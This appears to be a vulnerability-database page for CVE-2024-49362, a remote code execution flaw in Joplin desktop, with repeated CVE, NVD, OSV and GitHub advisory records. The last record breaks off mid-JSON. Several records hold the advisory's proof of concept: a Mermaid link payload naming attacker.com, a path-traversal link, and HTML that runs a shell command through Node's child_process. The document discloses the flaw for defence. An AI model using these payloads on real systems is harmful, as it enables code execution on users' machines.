CVE-2024-49362 (GCVE-0-2024-49362)
Vulnerability from cvelistv5 – Published: 2024-11-14 17:37 – Updated: 2024-11-14 21:39
VLAI
EPSS
VEX
Title
Remote Code Execution on click of <a> Link in markdown preview
Summary
Joplin is a free, open source note taking and to-do application. Joplin-desktop has a vulnerability that leads to remote code execution (RCE) when a user clicks on an <a> link within untrusted notes. The issue arises due to insufficient sanitization of <a> tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.
Severity
7.7 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-11-14 21:38 UTC
CWE
- CWE-94 - Improper Control of Generation of Code ('Code Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/laurent22/joplin/security/advi… | x_refsource_CONFIRM |
Impacted products
{
"containers": {
"adp": [
{
"affected": [
{
"cpes": [
"cpe:2.3:a:joplinapp:joplin:*:*:*:*:*:node.js:*:*"
],
"defaultStatus": "unknown",
"product": "joplin",
"vendor": "joplinapp",
"versions": [
{
"lessThan": "3.1",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-49362",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-11-14T21:38:47.636782Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-11-14T21:39:43.794Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "joplin",
"vendor": "laurent22",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Joplin is a free, open source note taking and to-do application. Joplin-desktop has a vulnerability that leads to remote code execution (RCE) when a user clicks on an \u003ca\u003e link within untrusted notes. The issue arises due to insufficient sanitization of \u003ca\u003e tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 7.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2024-11-14T17:37:09.700Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7"
}
],
"source": {
"advisory": "GHSA-hff8-hjwv-j9q7",
"discovery": "UNKNOWN"
},
"title": "Remote Code Execution on click of \u003ca\u003e Link in markdown preview"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2024-49362",
"datePublished": "2024-11-14T17:37:09.700Z",
"dateReserved": "2024-10-14T13:56:34.810Z",
"dateUpdated": "2024-11-14T21:39:43.794Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2024-49362",
"date": "2026-11-06",
"epss": "0.01065",
"percentile": "0.6485"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "joplin",
"vendor": "laurent22",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1"
}
]
}
],
"source": "security-advisories@github.com"
},
{
"affectedData": [
{
"cpes": [
"cpe:2.3:a:joplinapp:joplin:*:*:*:*:*:node.js:*:*"
],
"defaultStatus": "unknown",
"product": "joplin",
"vendor": "joplinapp",
"versions": [
{
"lessThan": "3.1",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:joplin_project:joplin:*:*:*:*:*:-:*:*",
"matchCriteriaId": "072181DD-7C0E-4B22-AC35-B7C25CC53219",
"versionEndExcluding": "3.1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Joplin is a free, open source note taking and to-do application. Joplin-desktop has a vulnerability that leads to remote code execution (RCE) when a user clicks on an \u003ca\u003e link within untrusted notes. The issue arises due to insufficient sanitization of \u003ca\u003e tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution."
},
{
"lang": "es",
"value": "Joplin es una aplicaci\u00f3n de c\u00f3digo abierto y gratuita para tomar notas y realizar tareas pendientes. Joplin-desktop tiene una vulnerabilidad que provoca la ejecuci\u00f3n remota de c\u00f3digo (RCE) cuando un usuario hace clic en un enlace \u003ca rel=\"nofollow\"\u003e dentro de notas que no son de confianza. El problema surge debido a una limpieza insuficiente de los atributos de la etiqueta \u003c/a\u003e\u003ca rel=\"nofollow\"\u003e introducidos por Mermaid. Esta vulnerabilidad permite la ejecuci\u00f3n de contenido HTML no confiable dentro de la ventana Electron, que tiene acceso completo a las API de Node.js, lo que permite la ejecuci\u00f3n arbitraria de comandos de shell.\u003c/a\u003e"
}
],
"id": "CVE-2024-49362",
"lastModified": "2026-06-17T07:59:46.080",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 7.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.1,
"impactScore": 6.0,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 6.0,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2024-49362",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-11-14T21:38:47.636782Z",
"version": "2.0.3"
}
}
]
},
"published": "2024-11-14T18:15:19.243",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-94"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
},
"redhat_vex": {
"current_release_date": "2025-05-28T19:44:04+00:00",
"cve": "CVE-2024-49362",
"id": "CVE-2024-49362",
"initial_release_date": "2024-01-01T00:00:00+00:00",
"product_status:known_not_affected": "1",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "Remote Code Execution on click of \u003ca\u003e Link in markdown preview",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2024/cve-2024-49362.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"affected": [
{
"cpes": [
"cpe:2.3:a:joplinapp:joplin:*:*:*:*:*:node.js:*:*"
],
"defaultStatus": "unknown",
"product": "joplin",
"vendor": "joplinapp",
"versions": [
{
"lessThan": "3.1",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-49362",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-11-14T21:38:47.636782Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-11-14T21:39:38.922Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "joplin",
"vendor": "laurent22",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Joplin is a free, open source note taking and to-do application. Joplin-desktop has a vulnerability that leads to remote code execution (RCE) when a user clicks on an \u003ca\u003e link within untrusted notes. The issue arises due to insufficient sanitization of \u003ca\u003e tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 7.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2024-11-14T17:37:09.700Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7"
}
],
"source": {
"advisory": "GHSA-hff8-hjwv-j9q7",
"discovery": "UNKNOWN"
},
"title": "Remote Code Execution on click of \u003ca\u003e Link in markdown preview"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2024-49362",
"datePublished": "2024-11-14T17:37:09.700Z",
"dateReserved": "2024-10-14T13:56:34.810Z",
"dateUpdated": "2024-11-14T21:39:43.794Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
}
}
BREW-JOPLIN-CLI-CVE-2024-49362 (GHSA-HFF8-HJWV-J9Q7)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:00 – Updated: 2026-09-17 19:10 – Source website
VLAI
Summary
Remote Code Execution on click of <a> Link in markdown preview
Details
Summary
There is a vulnerability in Joplin-desktop that leads to remote code execution (RCE) when a user clicks on an <a> link within untrusted notes. The issue arises due to insufficient sanitization of <a> tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.
Details
In the markdown preview iframe, Joplin only opens <a> links internally within the same Electron window if they contain the data-from-md attribute. While Joplin successfully sanitizes the data-from-md attribute in user-embedded <a> links from the .md file to prevent the execution of untrusted HTML content, it fails to sanitize the data-from-md attributes of <a> tags introduced by Mermaid (e.g., the code snippet shown below). Since Mermaid allows the rendering of certain scriptless HTML elements, an attacker can embed <a>tags with data-from-md attributes, which will then be opened internally in the same Electron window.
Additionally, Joplin opens the window with nodeIntegration set to true and contextIsolation set to false, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the sandbox attribute, allowing scripts running in the iframe to call Node.js APIs through window.parent. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.
Relevant code references:
- Payload to inject
<a>withdata-from-mdattribute:
```mermaid
flowchart TD
A[<a href="https://attacker.com" data-from-md>hello</a>]
```
- Handling link navigation in the markdown preview iframe
https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116
- Window configuration of
Joplinwindow
https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155
PoC
Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):
poc.md
```mermaid
flowchart TD
A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>]
```
poc2.html
<html>
<body>
<script>
if (typeof window.parent.require !== 'undefined') {
const { exec } = window.parent.require('child_process');
exec('ls -al', (err, stdout, stderr) => {
if (err) {
document.body.innerText = `Error: ${err.message}`;
return;
}
if (stderr) {
document.body.innerText = `Stderr: ${stderr}`;
return;
}
document.body.innerText = stdout;
});
} else {
document.body.innerText = 'Require is not available in this environment.';
}
</script>
</body>
</html>
Then, open the poc.md with Joplin and click on the hello link. The code embedded in the poc2.html will be executed.
Impact
This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.
Severity
7.7 (High)
References
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "3.1.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "joplin-cli",
"purl": "pkg:brew/joplin-cli"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.1"
},
{
"fixed": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "npm",
"key": "pkg:npm/joplin@3.7.1",
"name": "joplin",
"strategy": "registry",
"subject_version": "3.7.1"
}
]
},
"details": "### Summary\n\nThere is a vulnerability in `Joplin-desktop` that leads to remote code execution (RCE) when a user clicks on an `\u003ca\u003e` link within untrusted notes. The issue arises due to insufficient sanitization of `\u003ca\u003e` tag attributes introduced by the `Mermaid`. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.\n\n### Details\n\nIn the markdown preview iframe, `Joplin` only opens `\u003ca\u003e` links internally within the same Electron window if they contain the `data-from-md` attribute. While Joplin successfully sanitizes the `data-from-md` attribute in user-embedded `\u003ca\u003e` links from the `.md` file to prevent the execution of untrusted HTML content, it fails to sanitize the `data-from-md` attributes of `\u003ca\u003e` tags introduced by `Mermaid` (e.g., the code snippet shown below). Since `Mermaid` allows the rendering of certain scriptless HTML elements, an attacker can embed `\u003ca\u003e `tags with `data-from-md` attributes, which will then be opened internally in the same Electron window.\n\nAdditionally, `Joplin` opens the window with `nodeIntegration` set to `true` and `contextIsolation` set to `false`, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the `sandbox` attribute, allowing scripts running in the iframe to call Node.js APIs through `window.parent`. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.\n\n\n**Relevant code references:**\n\n+ Payload to inject `\u003ca\u003e` with `data-from-md` attribute:\n\n````markdown\n```mermaid\nflowchart TD\n A[\u003ca href=\"https://attacker.com\" data-from-md\u003ehello\u003c/a\u003e]\n```\n````\n\n+ Handling link navigation in the markdown preview iframe\n\nhttps://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116\n\n+ Window configuration of `Joplin` window\n\nhttps://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155\n\n### PoC\n\nConsidering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: [GHSA-2h88-m32f-qh5m](https://github.com/laurent22/joplin/security/advisories/GHSA-2h88-m32f-qh5m) and [GHSA-g8qx-5vcm-3x59](https://github.com/laurent22/joplin/security/advisories/GHSA-g8qx-5vcm-3x59), where the malicious HTML file is available locally):\n\n+ `poc.md`\n````markdown\n```mermaid\nflowchart TD\n A[\u003ca href=\"/../../../../../../../../../../../../../../../path/to/poc2.html\" data-from-md\u003ehello\u003c/a\u003e]\n```\n````\n\n+ `poc2.html`\n```\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003e\n if (typeof window.parent.require !== \u0027undefined\u0027) {\n const { exec } = window.parent.require(\u0027child_process\u0027);\n exec(\u0027ls -al\u0027, (err, stdout, stderr) =\u003e {\n if (err) {\n document.body.innerText = `Error: ${err.message}`;\n return;\n }\n if (stderr) {\n document.body.innerText = `Stderr: ${stderr}`;\n return;\n }\n document.body.innerText = stdout;\n });\n } else {\n document.body.innerText = \u0027Require is not available in this environment.\u0027;\n }\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\nThen, open the `poc.md` with `Joplin` and click on the `hello` link. The code embedded in the `poc2.html` will be executed.\n\n\n\n### Impact\n\nThis vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.",
"id": "BREW-joplin-cli-CVE-2024-49362",
"modified": "2026-09-17T19:10:04Z",
"published": "2026-08-13T17:00:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49362"
},
{
"type": "PACKAGE",
"url": "https://github.com/laurent22/joplin"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Remote Code Execution on click of \u003ca\u003e Link in markdown preview",
"upstream": [
"GHSA-hff8-hjwv-j9q7",
"CVE-2024-49362"
]
}
FKIE_CVE-2024-49362
Vulnerability from fkie_nvd - Published: 2024-11-14 18:15 - Updated: 2026-06-17 07:59
Severity
7.7 (High) - CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
9.6 (Critical) - CVSS:3.1/
Summary
Joplin is a free, open source note taking and to-do application. Joplin-desktop has a vulnerability that leads to remote code execution (RCE) when a user clicks on an <a> link within untrusted notes. The issue arises due to insufficient sanitization of <a> tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7 | Exploit, Vendor Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| joplin_project | joplin | * |
{
"affected": [
{
"affectedData": [
{
"product": "joplin",
"vendor": "laurent22",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1"
}
]
}
],
"source": "security-advisories@github.com"
},
{
"affectedData": [
{
"cpes": [
"cpe:2.3:a:joplinapp:joplin:*:*:*:*:*:node.js:*:*"
],
"defaultStatus": "unknown",
"product": "joplin",
"vendor": "joplinapp",
"versions": [
{
"lessThan": "3.1",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:joplin_project:joplin:*:*:*:*:*:-:*:*",
"matchCriteriaId": "072181DD-7C0E-4B22-AC35-B7C25CC53219",
"versionEndExcluding": "3.1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Joplin is a free, open source note taking and to-do application. Joplin-desktop has a vulnerability that leads to remote code execution (RCE) when a user clicks on an \u003ca\u003e link within untrusted notes. The issue arises due to insufficient sanitization of \u003ca\u003e tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution."
},
{
"lang": "es",
"value": "Joplin es una aplicaci\u00f3n de c\u00f3digo abierto y gratuita para tomar notas y realizar tareas pendientes. Joplin-desktop tiene una vulnerabilidad que provoca la ejecuci\u00f3n remota de c\u00f3digo (RCE) cuando un usuario hace clic en un enlace \u003ca rel=\"nofollow\"\u003e dentro de notas que no son de confianza. El problema surge debido a una limpieza insuficiente de los atributos de la etiqueta \u003c/a\u003e\u003ca rel=\"nofollow\"\u003e introducidos por Mermaid. Esta vulnerabilidad permite la ejecuci\u00f3n de contenido HTML no confiable dentro de la ventana Electron, que tiene acceso completo a las API de Node.js, lo que permite la ejecuci\u00f3n arbitraria de comandos de shell.\u003c/a\u003e"
}
],
"id": "CVE-2024-49362",
"lastModified": "2026-06-17T07:59:46.080",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 7.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.1,
"impactScore": 6.0,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 6.0,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2024-49362",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-11-14T21:38:47.636782Z",
"version": "2.0.3"
}
}
]
},
"published": "2024-11-14T18:15:19.243",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-94"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
GHSA-HFF8-HJWV-J9Q7
Vulnerability from github – Published: 2024-11-14 17:38 – Updated: 2025-01-30 18:05
VLAI
Summary
Remote Code Execution on click of <a> Link in markdown preview
Details
Summary
There is a vulnerability in Joplin-desktop that leads to remote code execution (RCE) when a user clicks on an <a> link within untrusted notes. The issue arises due to insufficient sanitization of <a> tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.
Details
In the markdown preview iframe, Joplin only opens <a> links internally within the same Electron window if they contain the data-from-md attribute. While Joplin successfully sanitizes the data-from-md attribute in user-embedded <a> links from the .md file to prevent the execution of untrusted HTML content, it fails to sanitize the data-from-md attributes of <a> tags introduced by Mermaid (e.g., the code snippet shown below). Since Mermaid allows the rendering of certain scriptless HTML elements, an attacker can embed <a>tags with data-from-md attributes, which will then be opened internally in the same Electron window.
Additionally, Joplin opens the window with nodeIntegration set to true and contextIsolation set to false, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the sandbox attribute, allowing scripts running in the iframe to call Node.js APIs through window.parent. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.
Relevant code references:
- Payload to inject
<a>withdata-from-mdattribute:
```mermaid
flowchart TD
A[<a href="https://attacker.com" data-from-md>hello</a>]
```
- Handling link navigation in the markdown preview iframe
https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116
- Window configuration of
Joplinwindow
https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155
PoC
Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):
poc.md
```mermaid
flowchart TD
A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>]
```
poc2.html
<html>
<body>
<script>
if (typeof window.parent.require !== 'undefined') {
const { exec } = window.parent.require('child_process');
exec('ls -al', (err, stdout, stderr) => {
if (err) {
document.body.innerText = `Error: ${err.message}`;
return;
}
if (stderr) {
document.body.innerText = `Stderr: ${stderr}`;
return;
}
document.body.innerText = stdout;
});
} else {
document.body.innerText = 'Require is not available in this environment.';
}
</script>
</body>
</html>
Then, open the poc.md with Joplin and click on the hello link. The code embedded in the poc2.html will be executed.
Impact
This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.
Severity
7.7 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "joplin"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.0.0"
]
}
],
"aliases": [
"CVE-2024-49362"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-14T17:38:14Z",
"nvd_published_at": "2024-11-14T18:15:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThere is a vulnerability in `Joplin-desktop` that leads to remote code execution (RCE) when a user clicks on an `\u003ca\u003e` link within untrusted notes. The issue arises due to insufficient sanitization of `\u003ca\u003e` tag attributes introduced by the `Mermaid`. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.\n\n### Details\n\nIn the markdown preview iframe, `Joplin` only opens `\u003ca\u003e` links internally within the same Electron window if they contain the `data-from-md` attribute. While Joplin successfully sanitizes the `data-from-md` attribute in user-embedded `\u003ca\u003e` links from the `.md` file to prevent the execution of untrusted HTML content, it fails to sanitize the `data-from-md` attributes of `\u003ca\u003e` tags introduced by `Mermaid` (e.g., the code snippet shown below). Since `Mermaid` allows the rendering of certain scriptless HTML elements, an attacker can embed `\u003ca\u003e `tags with `data-from-md` attributes, which will then be opened internally in the same Electron window.\n\nAdditionally, `Joplin` opens the window with `nodeIntegration` set to `true` and `contextIsolation` set to `false`, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the `sandbox` attribute, allowing scripts running in the iframe to call Node.js APIs through `window.parent`. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.\n\n\n**Relevant code references:**\n\n+ Payload to inject `\u003ca\u003e` with `data-from-md` attribute:\n\n````markdown\n```mermaid\nflowchart TD\n A[\u003ca href=\"https://attacker.com\" data-from-md\u003ehello\u003c/a\u003e]\n```\n````\n\n+ Handling link navigation in the markdown preview iframe\n\nhttps://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116\n\n+ Window configuration of `Joplin` window\n\nhttps://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155\n\n### PoC\n\nConsidering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: [GHSA-2h88-m32f-qh5m](https://github.com/laurent22/joplin/security/advisories/GHSA-2h88-m32f-qh5m) and 